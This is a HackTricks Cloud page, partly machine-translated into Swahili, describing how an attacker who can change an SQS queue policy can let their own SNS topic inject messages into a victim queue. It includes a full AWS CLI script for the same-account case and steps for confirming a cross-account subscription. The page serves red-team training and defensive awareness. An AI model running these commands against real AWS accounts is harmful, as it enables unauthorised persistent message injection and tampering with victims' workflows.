AWS – SQS Cross-/Same-Account Injection via SNS Subscription + Queue Policy
Tip
Jifunze na ufanye mazoezi ya AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na ufanye mazoezi ya GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na ufanye mazoezi ya Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Saidia HackTricks
- Angalia the subscription plans!
- Jiunge na 💬 Discord group au the telegram group au utufuate kwenye Twitter 🐦 @hacktricks_live.
- Shiriki hacking tricks kwa kutuma PRs kwa HackTricks and HackTricks Cloud github repos.
Maelezo
Tumia vibaya sera ya rasilimali ya SQS queue ili kumruhusu topic ya SNS inayodhibitiwa na mshambulizi kuchapisha ujumbe ndani ya SQS queue ya waathiriwa. Katika akaunti ile ile, subscription ya SQS kwa topic ya SNS inathibitishwa kiotomatiki; kwa cross-account, lazima usome token ya SubscriptionConfirmation kutoka kwenye queue na uitumie ConfirmSubscription. Hii inawawezesha injection ya ujumbe isiyo imara ambayo matumiaji wa mwisho wanaweza kuitegemea bila kujua.
Mahitaji
- Uwezo wa kubadilisha sera ya rasilimali ya SQS queue lengwa:
sqs:SetQueueAttributeskwenye queue ya waathiriwa. - Uwezo wa kuunda/kuchapisha kwenye topic ya SNS inayodhibitiwa na mshambulizi:
sns:CreateTopic,sns:Publish, nasns:Subscribekwenye akaunti/topic ya mshambulizi. - Kwa cross-account pekee: kwa muda
sqs:ReceiveMessagekwenye queue ya waathiriwa ili kusoma token ya uthibitisho na uitumiesns:ConfirmSubscription.
Utekelezaji katika akaunti ile ile
REGION=us-east-1
# 1) Create victim queue and capture URL/ARN
Q_URL=$(aws sqs create-queue --queue-name ht-victim-q --region $REGION --query QueueUrl --output text)
Q_ARN=$(aws sqs get-queue-attributes --queue-url "$Q_URL" --region $REGION --attribute-names QueueArn --query Attributes.QueueArn --output text)
# 2) Create attacker SNS topic
TOPIC_ARN=$(aws sns create-topic --name ht-attacker-topic --region $REGION --query TopicArn --output text)
# 3) Allow that SNS topic to publish to the queue (queue resource policy)
cat > /tmp/ht-sqs-sns-policy.json <<JSON
{"Version":"2012-10-17","Statement":[{"Sid":"AllowSNSTopicPublish","Effect":"Allow","Principal":{"Service":"sns.amazonaws.com"},"Action":"SQS:SendMessage","Resource":"REPLACE_QUEUE_ARN","Condition":{"StringEquals":{"aws:SourceArn":"REPLACE_TOPIC_ARN"}}}]}
JSON
sed -i.bak "s#REPLACE_QUEUE_ARN#$Q_ARN#g; s#REPLACE_TOPIC_ARN#$TOPIC_ARN#g" /tmp/ht-sqs-sns-policy.json
# Provide the attribute as a JSON map so quoting works reliably
cat > /tmp/ht-attrs.json <<JSON
{
"Policy": "REPLACE_POLICY_JSON"
}
JSON
# Embed the policy file contents as a JSON string
POL_ESC=$(jq -Rs . /tmp/ht-sqs-sns-policy.json)
sed -i.bak "s#\"REPLACE_POLICY_JSON\"#$POL_ESC#g" /tmp/ht-attrs.json
aws sqs set-queue-attributes --queue-url "$Q_URL" --region $REGION --attributes file:///tmp/ht-attrs.json
# 4) Subscribe the queue to the topic (auto-confirms same-account)
aws sns subscribe --topic-arn "$TOPIC_ARN" --protocol sqs --notification-endpoint "$Q_ARN" --region $REGION
# 5) Publish and verify injection
aws sns publish --topic-arn "$TOPIC_ARN" --message {pwn:sns->sqs} --region $REGION
aws sqs receive-message --queue-url "$Q_URL" --region $REGION --max-number-of-messages 1 --wait-time-seconds 10 --attribute-names All --message-attribute-names All
Vidokezo kati ya akaunti
- Sera ya queue iliyotajwa hapo juu lazima iruhusu
TOPIC_ARNwa kigeni (akaunti ya mshambuliaji). - Subscriptions hazitathibitishwa kiotomatiki. Jipe ruhusa ya muda ya
sqs:ReceiveMessagekwenye queue ya mwathiriwa ili usome ujumbe waSubscriptionConfirmationna kisha pigasns confirm-subscriptionukiwa naTokenwake.
Athari
Athari Inayowezekana: Kuingizwa kwa ujumbe usiohitajika kwa mfululizo katika queue ya SQS ya kuaminika kupitia SNS, inaweza kusababisha usindikaji usiokusudiwa, uchafuzi wa data, au matumizi mabaya ya workflow.
Tip
Jifunze na ufanye mazoezi ya AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na ufanye mazoezi ya GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na ufanye mazoezi ya Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Saidia HackTricks
- Angalia the subscription plans!
- Jiunge na 💬 Discord group au the telegram group au utufuate kwenye Twitter 🐦 @hacktricks_live.
- Shiriki hacking tricks kwa kutuma PRs kwa HackTricks and HackTricks Cloud github repos.
HackTricks Cloud

